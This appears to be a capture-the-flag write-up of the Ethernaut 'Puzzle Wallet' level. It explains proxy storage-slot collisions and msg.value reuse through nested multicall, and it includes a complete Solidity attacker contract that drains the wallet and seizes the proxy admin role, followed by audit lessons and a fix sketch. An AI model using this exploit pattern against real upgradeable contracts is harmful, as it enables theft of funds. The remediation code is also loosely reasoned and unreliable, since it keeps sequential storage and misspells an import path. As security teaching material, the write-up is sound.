🧩 Puzzle Wallet - The Proxy & Multicall Heist
Challenge Overview
In this level, we are faced with an upgradeable wallet contract (PuzzleWallet) wrapped in a proxy contract (PuzzleProxy).
To beat the level, our objective is to hijack the proxy’s administrative role to become the new admin of the PuzzleProxy.
The Catch: The proxy admin variable is located in the proxy’s storage and is only modifiable by the proxy admin themselves. We must discover how storage collisions between proxy/implementation contracts and delegatecall state changes can allow us to overwrite administrative variables.
Technical Analysis
Vulnerability 1: Storage Slot Collision between Proxy and Implementation
Upgradeable proxies use delegatecall to forward transactions to an implementation logic contract. In Solidity, storage is mapped slot-by-slot:
PuzzleProxyStorage Layout:- Slot 0:
pendingAdmin - Slot 1:
admin
- Slot 0:
PuzzleWalletStorage Layout:- Slot 0:
owner - Slot 1:
maxBalance - Slot 2:
whitelistedmapping - Slot 3:
balancesmapping
- Slot 0:
Because storage slot 0 maps to both pendingAdmin (proxy) and owner (wallet), any modification to pendingAdmin inside the proxy context will overwrite the owner variable in the wallet context, and vice versa!
Similarly, slot 1 maps to both admin (proxy) and maxBalance (wallet). Overwriting maxBalance will instantly overwrite admin!
Vulnerability 2: msg.value Reuse in Nested multicall Loop
The PuzzleWallet contract implements a multicall function to batch transaction calls:
function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { // ... if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); depositCalled = true; } (bool success,) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); }}While the contract attempts to prevent deposit from being called multiple times using the depositCalled boolean flag, it is vulnerable to a nested call bypass:
msg.valueremains constant during the entire duration of the transaction execution context.- If we call
multicallcontaining a regulardepositcall, and a nestedmulticallcall that executesdeposit, the flagdepositCalledin the local loop is reset, but the transaction still carries the samemsg.value! - This allows us to deposit
0.001 ETHonce but credit our internal contract balance twice (or more), making the contract believe we have deposited0.002 ETH!
The Exploit: The Multi-Step Heist
To hijack the proxy admin, we execute a multi-phase attack:
- Takeover Implementation Owner: Call
proposeNewAdmin(player)on the proxy. Due to the slot 0 storage collision, this overwritesownerin the implementation storage with our address! - Whitelist Ourselves: Since we are now the
owner, calladdToWhitelist(player)to grant ourselves whitelisted access. - Exploit Multicall for Free Credit:
- Build a
multicallpayload where the first element is a call todeposit(). - The second element is a call to
multicall()which itself contains a nested call todeposit(). - Call
multicallsending exactly0.001 ETH. Our balance inPuzzleWalletis now credited as0.002 ETH, while the contract’s actual balance only increased by0.001 ETH.
- Build a
- Drain the Wallet: Call
execute()to withdraw0.002 ETH(draining the contract’s actual balance to 0). - Overstrike Admin (Slot 1): Now that the actual balance is 0, we can successfully call
setMaxBalance(uint256(uint160(player))). Because of the slot 1 storage collision, this overwrites theadminslot of the proxy with our player address!
Proof of Concept (PoC)
Below is the Solidity exploit contract that automates the heist:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
interface IPuzzleWallet { function admin() external view returns (address); function proposeNewAdmin(address _newAdmin) external; function addToWhitelist(address addr) external; function deposit() external payable; function multicall(bytes[] calldata data) external payable; function execute(address to, uint256 value, bytes calldata data) external payable; function setMaxBalance(uint256 _maxBalance) external;}
contract PuzzleWalletAttacker { constructor(address payable _target) payable { IPuzzleWallet wallet = IPuzzleWallet(_target);
// 1. Propose new admin on proxy (overwrites implementation owner) wallet.proposeNewAdmin(address(this));
// 2. Whitelist ourselves wallet.addToWhitelist(address(this));
// 3. Craft nested multicall to exploit msg.value reuse bytes[] memory depositPayload = new bytes[](1); depositPayload[0] = abi.encodeWithSelector(wallet.deposit.selector);
bytes[] memory mainPayload = new bytes[](2); mainPayload[0] = depositPayload[0]; // First deposit mainPayload[1] = abi.encodeWithSelector(wallet.multicall.selector, depositPayload); // Nested deposit
// Execute batch transaction sending 0.001 ETH wallet.multicall{value: 0.001 ether}(mainPayload);
// 4. Drain the wallet (withdraw 0.002 ETH) wallet.execute(msg.sender, 0.002 ether, "");
// 5. Set max balance (overwrites proxy admin) wallet.setMaxBalance(uint256(uint160(msg.sender)));
// Verify takeover succeeded require(wallet.admin() == msg.sender, "Hack failed!"); }}Auditor’s Lessons
- Avoid Unaligned Proxy Storage: When building upgradeable smart contracts, never declare variables sequentially without matching the proxy’s storage alignment. Use structured storage patterns (like EIP-1967) to store proxy parameters in random slots (e.g.,
keccak256("eip1967.proxy.admin") - 1) to eliminate collisions. msg.valueinside Loops/Multicalls: Never trustmsg.valueinside loops ordelegatecallbatched iterations. If batching operations, enforce strict accounting checks or convertmsg.valueinto a WETH credit system first.- Audit Whitelist Controls: Restrict critical admin initialization functions to prevent post-deployment hijacking.
Remediation
Refactor PuzzleWallet and its proxy to use aligned, structured storage mappings, and secure multicall from executing nested payable methods:
// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradable/proxy/utils/Initializable.sol";
contract SecurePuzzleWallet is Initializable { // Standard structured upgrades address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances;
function initialize() external initializer { owner = msg.sender; }
// Fix: Block nested multicalls by tracking execution depth bool private isExecutingMulticall;
function multicall(bytes[] calldata data) external payable { require(!isExecutingMulticall, "Re-entrancy in multicall blocked"); isExecutingMulticall = true;
// Loop execution...
isExecutingMulticall = false; }}